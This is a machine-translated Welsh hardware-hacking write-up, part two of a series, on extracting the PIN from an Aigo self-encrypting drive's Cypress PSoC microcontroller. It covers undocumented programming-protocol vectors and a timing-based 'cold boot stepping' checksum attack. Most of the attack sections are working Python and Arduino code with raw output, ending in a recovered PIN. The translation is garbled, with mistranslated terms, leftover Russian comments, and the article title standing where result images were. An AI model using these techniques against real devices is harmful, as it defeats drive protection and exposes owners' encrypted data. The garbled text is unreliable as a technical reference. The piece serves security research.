Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC

Dyma ail ran a rhan olaf yr erthygl am hacio gyriannau hunan-amgryptio allanol. Gadewch imi eich atgoffa bod cydweithiwr wedi dod â gyriant caled Patriot (Aigo) SK8671 i mi yn ddiweddar, a phenderfynais ei wrthdroi, a nawr rydw i'n rhannu'r hyn a ddaeth allan ohono. Cyn darllen ymhellach, gofalwch eich bod yn darllen rhan gyntaf erthyglau.

4. Rydym yn dechrau cymryd dymp o'r gyriant fflach PSoC mewnol
5. Protocol ISSP
– 5.1. Beth yw ISSP
– 5.2. Fectorau Datgelu
– 5.3. Cyfathrebu â PSoC
– 5.4. Nodi cofrestrau ar sglodion
– 5.5. Darnau diogelwch
6. Ymosodiad cyntaf (methu): ROMX
7. Ail Ymosodiad: Olrhain Boot Oer
– 7.1. Gweithredu
– 7.2. Darllen y canlyniad
– 7.3. Flash ail-greu deuaidd
– 7.4. Dod o hyd i'r cyfeiriad storio cod PIN
– 7.5. Cymryd dymp o bloc Rhif 126
– 7.6. Adfer cod PIN
8. Beth sydd nesaf?
9. Casgliad

Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC


4. Rydym yn dechrau cymryd dymp o'r gyriant fflach PSoC mewnol

Felly, mae popeth yn nodi (fel y gwnaethom sefydlu yn [y rhan gyntaf] ()) bod y cod PIN yn cael ei storio yn nyfnderoedd fflach y PSoC. Felly, mae angen inni ddarllen y dyfnderoedd fflach hyn. Blaen y gwaith angenrheidiol:

  • cymryd rheolaeth o “gyfathrebu” gyda'r microreolydd;
  • dod o hyd i ffordd i wirio a yw'r “cyfathrebu” hwn wedi'i ddiogelu rhag darllen o'r tu allan;
  • dod o hyd i ffordd i osgoi'r amddiffyniad.

Mae dau le lle mae'n gwneud synnwyr i chwilio am god PIN dilys:

  • cof fflach mewnol;
  • SRAM, lle gellir storio'r cod pin i'w gymharu â'r cod pin a gofnodwyd gan y defnyddiwr.

Wrth edrych ymlaen, nodaf fy mod yn dal i lwyddo i gymryd dymp o'r gyriant fflach PSoC mewnol - gan osgoi ei system ddiogelwch gan ddefnyddio ymosodiad caledwedd o'r enw “olrhain cist oer” - ar ôl gwrthdroi galluoedd heb eu dogfennu protocol ISSP. Roedd hyn yn fy ngalluogi i ddympio'r cod PIN yn uniongyrchol.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Cod rhaglen derfynol:

5. Protocol ISSP

5.1. Beth yw ISSP

Gall “cyfathrebu” â microreolydd olygu gwahanol bethau: o “werthwr i werthwr” i ryngweithio gan ddefnyddio protocol cyfresol (er enghraifft, ICSP ar gyfer Microsglodyn PIC).

Mae gan Cypress ei brotocol perchnogol ei hun ar gyfer hyn, a elwir yn ISSP (protocol rhaglennu cyfresol yn y system), a ddisgrifir yn rhannol yn Manyleb Technegol. Patent US7185162 hefyd yn rhoi rhywfaint o wybodaeth. Mae yna hefyd gyfwerth OpenSource o'r enw HSSP (byddwn yn ei ddefnyddio ychydig yn ddiweddarach). Mae ISSP yn gweithio fel a ganlyn:

  • ailgychwyn PSoC;
  • allbynnu'r rhif hud i bin data cyfresol y PSoC hwn; i fynd i mewn i modd rhaglennu allanol;
  • anfon gorchmynion, sef llinynnau did hir o'r enw "fectorau".

Mae dogfennaeth ISSP yn diffinio'r fectorau hyn ar gyfer llond llaw bach o orchmynion yn unig:

  • Cychwyn- 1
  • Cychwyn- 2
  • Cychwyn-3 (opsiynau 3V a 5V)
  • ID-SETUP
  • DARLLEN-ID-GAIR
  • SET-BLOCK-NUM: 10011111010dddddddd111, lle dddddddd=bloc #
  • DILEU SWM
  • RHAGLEN-BLOC
  • GWIRIO-SETUP
  • DARLLEN-BYTE: 10110aaaaaaZDDDDDDDDZ1, lle DDDDDDDD = data allan, aaaaaa = cyfeiriad (6 did)
  • YSGRIFENNU-BYTE: 10010aaaaaaddddddd111, lle dddddddd = data i mewn, aaaaaa = cyfeiriad (6 did)
  • DIOGELWCH
  • CHECKSUM-SETUP
  • DARLLEN-WIRIO: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, lle DDDDDDDDDDDDDDDD = data allan: checksum dyfais
  • DILEU BLOC

Er enghraifft, y fector ar gyfer Cychwyn-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Mae gan bob fector yr un hyd: 22 did. Mae gan ddogfennaeth HSSP rywfaint o wybodaeth ychwanegol am ISSP: “Nid yw fector ISSP yn ddim mwy na dilyniant ychydig sy'n cynrychioli set o gyfarwyddiadau.”

5.2. Fectorau Datgelu

Gadewch i ni ddarganfod beth sy'n digwydd yma. I ddechrau, cymerais fod yr un fectorau hyn yn fersiynau amrwd o gyfarwyddiadau M8C, ond ar ôl gwirio'r rhagdybiaeth hon, darganfyddais nad oedd opcodes y gweithrediadau yn cyfateb.

Yna mi googled y fector uchod a dod ar draws dyma hi astudiaeth lle mae'r awdur, er nad yw'n mynd i fanylder, yn rhoi rhai awgrymiadau defnyddiol: “Mae pob cyfarwyddyd yn dechrau gyda thri rhan sy'n cyfateb i un o bedwar coffa (darllenwch o RAM, ysgrifennwch i RAM, darllenwch y gofrestr, ysgrifennwch gofrestr). Yna mae 8 did cyfeiriad, ac yna 8 did data (darllen neu ysgrifennu) ac yn olaf tri did stopio.”

Yna llwyddais i gael rhywfaint o wybodaeth ddefnyddiol iawn o'r adran ROM Goruchwylio (SROM). llawlyfr technegol. Mae SROM yn ROM â chod caled yn y PSoC sy'n darparu swyddogaethau cyfleustodau (mewn ffordd debyg i Syscall) ar gyfer cod rhaglen sy'n rhedeg yn y gofod defnyddiwr:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Darllen Bwrdd
  • 07h: CheckSum
  • 08h: graddnodi0
  • 09h: graddnodi1

Trwy gymharu enwau fector â swyddogaethau SROM, gallwn fapio'r gweithrediadau amrywiol a gefnogir gan y protocol hwn i'r paramedrau SROM disgwyliedig. Diolch i hyn, gallwn ddadgodio'r tri darn cyntaf o fectorau ISSP:

  • 100 => "wrem"
  • 101 => “rdmem”
  • 110 => "wrreg"
  • 111 => “rdreg”

Fodd bynnag, dim ond trwy gyfathrebu'n uniongyrchol â'r PSoC y gellir cael dealltwriaeth gyflawn o brosesau ar sglodion.

5.3. Cyfathrebu â PSoC

Ers Dirk Petrautsky eisoes wedi porthedig Cod HSSP Cypress ar Arduino, defnyddiais Arduino Uno i gysylltu â chysylltydd ISSP y bwrdd bysellfwrdd.

Sylwch, yn ystod fy ymchwil, i mi newid cod Dirk gryn dipyn. Gallwch ddod o hyd i'm haddasiad ar GitHub: yma a'r sgript Python cyfatebol ar gyfer cyfathrebu ag Arduino, yn fy ystorfa cypreswydden_psoc_tools.

Felly, gan ddefnyddio Arduino, defnyddiais y fectorau “swyddogol” yn gyntaf ar gyfer “cyfathrebu”. Ceisiais ddarllen y ROM mewnol gan ddefnyddio'r gorchymyn VERIFY. Yn ôl y disgwyl, nid oeddwn yn gallu gwneud hyn. Mae'n debyg oherwydd y ffaith bod darnau amddiffyn darllen yn cael eu gweithredu y tu mewn i'r gyriant fflach.

Yna creais ychydig o fy fectorau syml fy hun ar gyfer ysgrifennu a darllen cof/cofrestrau. Sylwch y gallwn ddarllen y SROM cyfan er bod y gyriant fflach wedi'i ddiogelu!

5.4. Nodi cofrestrau ar sglodion

Ar ôl edrych ar y fectorau “dadosod”, darganfyddais fod y ddyfais yn defnyddio cofrestrau heb eu dogfennu (0xF8-0xFA) i nodi codau op M8C, sy'n cael eu gweithredu'n uniongyrchol, gan osgoi'r amddiffyniad. Roedd hyn yn fy ngalluogi i redeg codau op amrywiol fel "ADD", "MOV A, X", "PUSH" neu "JMP". Diolch iddynt (drwy edrych ar y sgîl-effeithiau a gânt ar gofrestrau) llwyddais i benderfynu pa rai o'r cofrestrau heb eu dogfennu oedd yn gofrestrau rheolaidd mewn gwirionedd (A, X, SP a PC).

O ganlyniad, mae'r cod “dadosod” a gynhyrchir gan yr offeryn HSSP_disas.rb yn edrych fel hyn (ychwanegais sylwadau er eglurder):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Darnau diogelwch

Ar hyn o bryd, gallaf gyfathrebu â'r PSoC eisoes, ond nid oes gennyf wybodaeth ddibynadwy o hyd am elfennau diogelwch y gyriant fflach. Cefais fy synnu'n fawr gan y ffaith nad yw Cypress yn darparu unrhyw fodd i ddefnyddiwr y ddyfais wirio a yw'r amddiffyniad wedi'i actifadu. Cloddiais yn ddyfnach i Google i ddeall o'r diwedd bod y cod HSSP a ddarparwyd gan Cypress wedi'i ddiweddaru ar ôl i Dirk ryddhau ei addasiad. Ac felly! Mae'r fector newydd hwn wedi ymddangos:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Gan ddefnyddio'r fector hwn (gweler read_security_data yn psoc.py), rydyn ni'n cael yr holl ddarnau diogelwch yn SRAM yn 0x80, lle mae dau ddarn fesul bloc gwarchodedig.

Mae'r canlyniad yn ddigalon: mae popeth wedi'i ddiogelu yn y modd "analluogi darllen ac ysgrifennu allanol". Felly, nid yn unig na allwn ddarllen unrhyw beth o yriant fflach, ond ni allwn ysgrifennu unrhyw beth ychwaith (er enghraifft, i osod dympiwr ROM yno). A'r unig ffordd i analluogi'r amddiffyniad yw dileu'r sglodyn cyfan yn llwyr. 🙁

6. Ymosodiad cyntaf (methu): ROMX

Fodd bynnag, gallwn roi cynnig ar y tric canlynol: gan fod gennym y gallu i weithredu opcodes mympwyol, beth am weithredu ROMX, a ddefnyddir i ddarllen cof fflach? Mae gan y dull hwn siawns dda o lwyddo. Oherwydd bod y swyddogaeth ReadBlock sy'n darllen data o'r SROM (a ddefnyddir gan fectorau) yn gwirio a yw'n cael ei alw o'r ISSP. Fodd bynnag, mae'n bosibl na fydd gan yr opcode ROMX wiriad o'r fath. Felly dyma'r cod Python (ar ôl ychwanegu ychydig o ddosbarthiadau cynorthwywyr i'r cod Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Yn anffodus nid yw'r cod hwn yn gweithio. 🙁 Neu yn hytrach mae'n gweithio, ond ar yr allbwn rydyn ni'n cael ein opcodes ein hunain (0x28 0x30 0x40)! Nid wyf yn meddwl bod ymarferoldeb cyfatebol y ddyfais yn elfen o amddiffyniad darllen. Mae hyn yn debycach i dric peirianneg: wrth weithredu codau op allanol, mae'r bws ROM yn cael ei ailgyfeirio i glustog dros dro.

7. Ail Ymosodiad: Olrhain Boot Oer

Gan nad oedd y tric ROMX yn gweithio, dechreuais feddwl am amrywiad arall o'r tric hwn - a ddisgrifir yn y cyhoeddiad "Taflu gormod o olau ar Ddiogelwch Firmware Microreolwr".

7.1. Gweithredu

Mae dogfennaeth yr ISSP yn darparu'r fector canlynol ar gyfer SETUP-WIRIO:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Mae hyn yn ei hanfod yn galw swyddogaeth SROM 0x07, fel y'i cyflwynir yn y ddogfennaeth (mwynglawdd italig):

Mae'r swyddogaeth hon checksum verification. Mae'n cyfrifo gwiriad 16-did o nifer y blociau a bennir gan ddefnyddwyr mewn un banc fflach, gan ddechrau o sero. Defnyddir y paramedr BLOCKID i basio nifer y blociau a ddefnyddir wrth gyfrifo'r siec. Bydd gwerth o "1" ond yn cyfrifo'r siec ar gyfer bloc sero; tra Bydd "0" yn achosi i gyfanswm y siec o bob un o'r 256 bloc o'r banc fflach gael ei gyfrifo. Dychwelir y siec 16-did trwy KEY1 a KEY2. Mae'r paramedr KEY1 yn storio 8 did lefel isel y siec, ac mae'r paramedr KEY2 yn storio'r 8 did lefel uchel. Ar gyfer dyfeisiau gyda sawl banc fflach, gelwir y swyddogaeth checksum ar gyfer pob un ar wahân. Mae'r rhif banc y bydd yn gweithio ag ef yn cael ei osod gan y gofrestr FLS_PR1 (drwy osod y did ynddo sy'n cyfateb i'r banc fflach targed).

Sylwch mai gwiriad syml yw hwn: ychwanegir y beit un ar ôl y llall; dim quirks CRC ffansi. Yn ogystal, gan wybod bod gan graidd M8C set fach iawn o gofrestrau, cymerais yn ganiataol, wrth gyfrifo'r siec, y bydd gwerthoedd canolraddol yn cael eu cofnodi yn yr un newidynnau a fydd yn y pen draw yn mynd i'r allbwn: KEY1 (0xF8) / KEY2 ( 0xF9).

Felly mewn theori mae fy ymosodiad yn edrych fel hyn:

  1. Rydym yn cysylltu trwy ISSP.
  2. Rydyn ni'n dechrau'r cyfrifiad siec gan ddefnyddio'r fector CHECKSUM-SETUP.
  3. Rydym yn ailgychwyn y prosesydd ar ôl amser penodol T.
  4. Rydym yn darllen RAM i gael y checksum cyfredol C.
  5. Ailadroddwch gamau 3 a 4, gan gynyddu T ychydig bob tro.
  6. Rydym yn adennill data o yriant fflach drwy dynnu'r checksum C blaenorol o'r un presennol.

Fodd bynnag, mae yna broblem: mae'r fector Cychwyn-1 y mae'n rhaid i ni ei anfon ar ôl ailgychwyn yn trosysgrifo KEY1 ac KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Mae'r cod hwn yn trosysgrifo ein gwiriad gwerthfawr trwy ffonio Calibrate1 (swyddogaeth SROM 9)... Efallai y gallwn anfon y rhif hud (o ddechrau'r cod uchod) i fynd i mewn i'r modd rhaglennu, ac yna darllen y SRAM? Ac ydy, mae'n gweithio! Mae'r cod Arduino sy'n gweithredu'r ymosodiad hwn yn eithaf syml:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Darllenwch checkum_delay.
  2. Rhedeg cyfrifiad siec (send_checksum_v).
  3. Aros am gyfnod penodol o amser; gan ystyried y peryglon canlynol:
    • Fe wnes i wastraffu llawer o amser nes i mi ddarganfod beth mae'n troi allan oediMicroseiliadau yn gweithio'n gywir yn unig gydag oedi heb fod yn fwy na 16383 μs;
    • ac yna eto lladd yr un faint o amser nes i mi ddarganfod bod oediMicroseconds, os 0 yn cael ei drosglwyddo iddo fel mewnbwn, yn gweithio'n hollol anghywir!
  4. Ailgychwyn y PSoC i'r modd rhaglennu (rydym yn anfon y rhif hud yn unig, heb anfon fectorau cychwynnol).

Cod terfynol yn Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Yn gryno, beth mae'r cod hwn yn ei wneud:

  1. Yn ailgychwyn y PSoC (ac yn anfon rhif hud ato).
  2. Yn anfon fectorau cychwyn llawn.
  3. Yn galw'r ffwythiant Arduino Cmnd_STK_START_CSUM (0x85), lle mae'r oedi mewn microseconds yn cael ei basio fel paramedr.
  4. Yn darllen y siec (0xF8 a 0xF9) a'r gofrestr heb ei dogfennu 0xF1.

Gweithredir y cod hwn 10 gwaith mewn 1 microsecond. Mae 0xF1 wedi'i gynnwys yma oherwydd dyma'r unig gofrestr a newidiodd wrth gyfrifo'r siec. Efallai ei fod yn rhyw fath o newidyn dros dro a ddefnyddir gan yr uned resymeg rifyddol. Sylwch ar yr hac hyll rydw i'n ei ddefnyddio i ailosod yr Arduino gan ddefnyddio picocom pan fydd yr Arduino yn stopio dangos arwyddion o fywyd (dim syniad pam).

7.2. Darllen y canlyniad

Mae canlyniad y sgript Python yn edrych fel hyn (wedi'i symleiddio ar gyfer darllenadwyedd):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Wedi dweud hynny, mae gennym broblem: gan ein bod yn gweithredu gyda siec go iawn, nid yw beit nwl yn newid y gwerth a ddarllenir. Fodd bynnag, gan fod y weithdrefn gyfrifo gyfan (8192 bytes) yn cymryd 0,1478 eiliad (gydag amrywiadau bach bob tro y caiff ei rhedeg), sy'n cyfateb i tua 18,04 μs y beit, gallwn ddefnyddio'r amser hwn i wirio gwerth y siec ar adegau priodol. Ar gyfer y rhediadau cyntaf, mae popeth yn cael ei ddarllen yn eithaf hawdd, gan fod hyd y weithdrefn gyfrifiadol bob amser bron yr un peth. Fodd bynnag, mae diwedd y domen hon yn llai cywir oherwydd bod y “mân wyriadau amseru” ar bob rhediad yn dod yn arwyddocaol:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Dyna 10 domen ar gyfer pob oedi microsecond. Cyfanswm yr amser gweithredu ar gyfer dympio'r holl 8192 beit o yriant fflach yw tua 48 awr.

7.3. Flash ail-greu deuaidd

Nid wyf eto wedi cwblhau ysgrifennu'r cod a fydd yn ail-greu cod rhaglen y gyriant fflach yn llwyr, gan ystyried yr holl wyriadau amser. Fodd bynnag, rwyf eisoes wedi adfer dechrau'r cod hwn. Er mwyn sicrhau fy mod yn ei wneud yn gywir, fe'i dadosodais gan ddefnyddio m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Edrych yn eithaf credadwy!

7.4. Dod o hyd i'r cyfeiriad storio cod PIN

Nawr ein bod yn gallu darllen y checksum ar yr adegau sydd ei angen arnom, gallwn wirio'n hawdd sut a ble mae'n newid pan fyddwn yn:

  • rhowch y cod PIN anghywir;
  • newid y cod pin.

Yn gyntaf, i ddod o hyd i'r cyfeiriad storio bras, cymerais ddymp siec mewn cynyddrannau 10 ms ar ôl ailgychwyn. Yna rhoddais y PIN anghywir a gwneud yr un peth.

Nid oedd y canlyniad yn ddymunol iawn, gan fod llawer o newidiadau. Ond yn y diwedd roeddwn yn gallu penderfynu bod y checksum wedi newid rhywle rhwng 120000 µs a 140000 µs o oedi. Ond roedd y “cod pin” a ddangosais yno yn gwbl anghywir – oherwydd arteffact o’r drefn oediMicrosicondau, sy’n gwneud pethau rhyfedd pan fydd 0 yn cael ei drosglwyddo iddo.

Yna, ar ôl treulio bron i 3 awr, cofiais fod y system SROM alwad CheckSum yn derbyn dadl fel mewnbwn sy'n nodi nifer y blociau ar gyfer y checksum! Hynny. gallwn yn hawdd leoleiddio cyfeiriad storio'r cod PIN a'r rhifydd “ymdrechion anghywir”, gyda chywirdeb hyd at floc 64-beit.

Cynhyrchodd fy rhediadau cychwynnol y canlyniad canlynol:

Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC

Yna newidiais y cod PIN o "123456" i "1234567" a chefais:

Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC

Felly, mae'n ymddangos bod y cod PIN a rhifydd ymdrechion anghywir wedi'u storio ym mloc Rhif 126.

7.5. Cymryd dymp o bloc Rhif 126

Dylai bloc #126 gael ei leoli yn rhywle o gwmpas 125x64x18 = 144000μs, o ddechrau'r cyfrifiad siec, yn fy nymp llawn, ac mae'n edrych yn eithaf credadwy. Yna, ar ôl hidlo nifer o dympiau annilys â llaw (oherwydd “mân wyriadau amseru”), cefais y beit hyn yn y pen draw (ar hwyrni o 145527 μs):

Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC

Mae'n eithaf amlwg bod y cod PIN yn cael ei storio ar ffurf heb ei amgryptio! Nid yw'r gwerthoedd hyn, wrth gwrs, wedi'u hysgrifennu mewn codau ASCII, ond fel y mae'n digwydd, maent yn adlewyrchu'r darlleniadau a gymerwyd o'r bysellfwrdd capacitive.

Yn olaf, rhedais ychydig mwy o brofion i ddarganfod ble roedd y cownter ymgais drwg yn cael ei storio. Dyma'r canlyniad:

Gwrthdroi a hacio gyriant HDD allanol hunan-amgryptio Aigo. Rhan 2: Cymryd dympio o Cypress PSoC

0xFF - yn golygu "15 ymgais" ac mae'n lleihau gyda phob ymgais a fethwyd.

7.6. Adfer cod PIN

Dyma fy nghod hyll sy'n rhoi'r uchod at ei gilydd:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Dyma ganlyniad ei weithrediad:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hwre! Yn gweithio!

Sylwch fod y gwerthoedd latency a ddefnyddiais yn debygol o fod yn berthnasol i un PSoC penodol - yr un a ddefnyddiais.

8. Beth sydd nesaf?

Felly, gadewch i ni grynhoi ar ochr y PSoC, yng nghyd-destun ein gyriant Aigo:

  • gallwn ddarllen SRAM hyd yn oed os caiff ei ddarllen wedi'i ddiogelu;
  • Gallwn osgoi'r amddiffyniad gwrth-swipe trwy ddefnyddio ymosodiad olrhain cist oer a darllen y cod PIN yn uniongyrchol.

Fodd bynnag, mae gan ein hymosodiad rai diffygion oherwydd problemau cydamseru. Gellid ei wella fel a ganlyn:

  • ysgrifennu cyfleustodau i ddadgodio'n gywir y data allbwn a geir o ganlyniad i ymosodiad "olrhain cist oer";
  • defnyddio teclyn FPGA i greu oedi mwy manwl gywir (neu ddefnyddio amseryddion caledwedd Arduino);
  • rhowch gynnig ar ymosodiad arall: rhowch god PIN anghywir yn fwriadol, ailgychwyn a gadael RAM, gan obeithio y bydd y cod PIN cywir yn cael ei gadw yn RAM i'w gymharu. Fodd bynnag, nid yw hyn mor hawdd i'w wneud ar Arduino, gan fod lefel signal Arduino yn 5 folt, tra bod y bwrdd yr ydym yn ei archwilio yn gweithio gyda signalau 3,3 folt.

Un peth diddorol y gellid rhoi cynnig arno yw chwarae gyda'r lefel foltedd i osgoi'r amddiffyniad darllen. Pe bai'r dull hwn yn gweithio, byddem yn gallu cael data hollol gywir o'r gyriant fflach - yn lle dibynnu ar ddarllen siec gydag oedi amseru anfanwl.

Gan fod y SROM yn ôl pob tebyg yn darllen y darnau gwarchod trwy alwad system ReadBlock, gallem wneud yr un peth â a ddisgrifiwyd ar flog Dmitry Nedospasov - ail-weithredu ymosodiad Chris Gerlinski, a gyhoeddwyd yn y gynhadledd "REcon Brwsel 2017".

